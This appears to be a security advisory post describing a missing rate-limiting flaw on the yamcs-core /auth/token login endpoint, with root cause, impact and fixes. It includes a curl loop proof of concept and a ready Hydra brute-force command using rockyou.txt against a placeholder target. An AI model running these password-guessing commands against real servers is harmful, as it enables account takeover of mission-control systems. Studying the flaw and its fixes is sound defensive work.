Listen to this Post
How the mentioned CVE works (missing rate limiting – CWE-307):
The vulnerability exists because the authentication endpoint POST /auth/token in yamcs-core implements no rate limiting, account lockout, or failed‑attempt throttling. Specifically, the handler method `handleToken()` inside `AuthHandler.java` directly calls `getSecurityStore().login(token)` without any prior checks for request frequency or failure counters. Each incoming authentication request is processed immediately, regardless of how many failures have occurred from the same IP or user account. No CAPTCHA, no exponential backoff, and no temporary lockout are present. The absence of a `Cache` or similar mechanism to track failed attempts allows an attacker to send thousands of password guesses per second. Because the code lacks any `TooManyRequestsException` or HTTP 429 response, the server never rejects excessive login trials. The default configuration and official documentation provide no guidance on enabling throttling. Consequently, an unauthenticated remote attacker can perform unlimited brute‑force password guessing against any valid username. The root cause file is yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java, line range where `handleToken` is defined. No rate‑limiting interceptors, filters, or middleware are applied to this route. This flaw is classified under CWE‑307 (Improper Restriction of Excessive Authentication Attempts). The impact is direct: account compromise via dictionary or brute‑force attacks. The official fix requires implementing an in‑memory cache (e.g., Guava Cache) with expiration and max attempts, then throwing `TooManyRequestsException` after exceeding the threshold.
dailycve form:
Platform: yamcs-core
Version: All versions
Vulnerability: Missing rate limiting
Severity: High
date: 2026-05-27
Prediction: Mid-June 2026
What Undercode Say:
Proof of Concept – 20 unthrottled attempts in 0.07 seconds
for i in $(seq 1 20); do
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
-X POST "http://TARGET:8090/auth/token" \
-d "grant_type=password&username=operator&password=operator12$i"
done
All return HTTP 401 (Unauthorized) – never HTTP 429
how Exploit:
Use automated password spraying or brute‑force tools (Hydra, Medusa) against /auth/token. No wait required between attempts. Example: `hydra -l operator -P rockyou.txt http-post-form://TARGET:8090/auth/token:grant_type=password&username=^USER^&password=^PASS^:F=401`
Protection from this CVE:
Implement rate limiting per IP (e.g., 10 attempts per 15 minutes) using CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES). Add failed‑attempt counter, return HTTP 429 after threshold. Enable account lockout after N failures. Deploy reverse proxy (nginx, HAProxy) with request limiting. Upgrade to patched version once available.
Impact:
Unlimited brute‑force attacks → account takeover → full system compromise (telemetry command, data manipulation, denial of service via resource exhaustion).
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
